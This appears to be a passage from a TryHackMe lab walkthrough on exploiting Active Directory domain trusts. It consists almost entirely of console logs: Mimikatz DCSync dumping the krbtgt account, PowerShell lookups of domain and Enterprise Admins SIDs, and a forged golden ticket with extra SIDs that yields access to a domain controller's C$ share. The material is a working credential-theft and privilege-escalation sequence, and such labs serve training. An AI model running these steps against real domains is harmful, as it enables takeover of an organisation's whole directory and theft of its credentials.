Exploiting Domain Trusts

C:\Tools>mimikatz_trunk\x64\mimikatz.exe

  .#####.   mimikatz 2.2.0 (x64) #19041 Aug 10 2021 17:19:53
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( [e-mail] )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( [e-mail] )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # lsadump::dcsync /user:za\krbtgt
[DC] 'za.tryhackme.loc' will be the domain
[DC] 'THMDC.za.tryhackme.loc' will be the DC server
[DC] 'za\krbtgt' will be the user account
[rpc] Service  : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)

Object RDN           : krbtgt

** SAM ACCOUNT **

SAM Username         : krbtgt
Account Type         : 30000000 ( USER_OBJECT )
User Account Control : 00000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT )
Account expiration   :
Password last change : 4/25/2022 7:18:22 PM
Object Security ID   : S-1-5-21-3885271727-2693558621-2658995185-502
Object Relative ID   : 502

Credentials:
  Hash NTLM: removed
    ntlm- 0: removed
    lm  - 0: removed
[....]

PS C:\> Get-ADComputer -Identity "THMDC"

DistinguishedName : CN=THMDC,OU=Domain Controllers,DC=za,DC=tryhackme,DC=loc
DNSHostName       : THMDC.za.tryhackme.loc
Enabled           : True
Name              : THMDC
ObjectClass       : computer
ObjectGUID        : bd651750-782b-4b09-93b4-b5987ec7311b
SamAccountName    : THMDC$
SID               : S-1-5-21-3885271727-2693558621-2658995185-1001
UserPrincipalName :

PS C:\> Get-ADGroup -Identity "Enterprise Admins" -Server thmrootdc.tryhackme.loc

DistinguishedName : CN=Enterprise Admins,CN=Users,DC=tryhackme,DC=loc
GroupCategory     : Security
GroupScope        : Universal
Name              : Enterprise Admins
ObjectClass       : group
ObjectGUID        : a23ae384-16e8-44d5-9b36-8173c4e0e5de
SamAccountName    : Enterprise Admins
SID               : S-1-5-21-3330634377-removed-519

C:\Tools>mimikatz_trunk\x64\mimikatz.exe

  .#####.   mimikatz 2.2.0 (x64) #19041 Aug 10 2021 17:19:53
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( [e-mail] )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( [e-mail] )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # kerberos::golden /user:Administrator /domain:za.tryhackme.loc /sid:S-1-5-21-3885271727-2693558621-2658995185-1001 /service:krbtgt /rc4:<Password hash of krbtgt user> /sids:<SID of Enterprise Admins group> /ptt
User      : Administrator
Domain    : za.tryhackme.loc (ZA)
SID       : S-1-5-21-3885271727-2693558621-2658995185-1001
User Id   : 500
Groups Id : *513 512 520 518 519
Extra SIDs: S-1-5-21-3330634377-1326264276-632209373-519 ;
ServiceKey: 16f9af38fca3ada405386b3b57366082 - rc4_hmac_nt
Service   : krbtgt
Lifetime  : 4/30/2022 7:52:51 PM ; 4/27/2032 7:52:51 PM ; 4/27/2032 7:52:51 PM
-> Ticket : ** Pass The Ticket **

 * PAC generated
 * PAC signed
 * EncTicketPart generated
 * EncTicketPart encrypted
 * KrbCred generated

Golden ticket for 'Administrator @ za.tryhackme.loc' successfully submitted for current session

C:\>dir \\thmdc.za.tryhackme.loc\c$
 Volume in drive \\thmdc.za.tryhackme.loc\c$ is Windows
 Volume Serial Number is 1634-22A9

 Directory of \\thmdc.za.tryhackme.loc\c$

01/04/2022  08:47 AM               103 delete-vagrant-user.ps1
04/30/2022  10:24 AM               154 dns_entries.csv
09/15/2018  08:19 AM    <DIR>          PerfLogs
03/21/2020  09:31 PM    <DIR>          Program Files
03/21/2020  09:28 PM    <DIR>          Program Files (x86)
04/27/2022  08:27 AM             1,423 thm-network-setup-dc.ps1
04/25/2022  07:13 PM    <DIR>          tmp
04/27/2022  08:22 AM    <DIR>          Users
04/25/2022  07:11 PM    <SYMLINKD>     vagrant [\\vboxsvr\vagrant]
04/27/2022  08:12 PM    <DIR>          Windows
               7 File(s)      2,356,811 bytes
               7 Dir(s)  50,913,189,888 bytes free;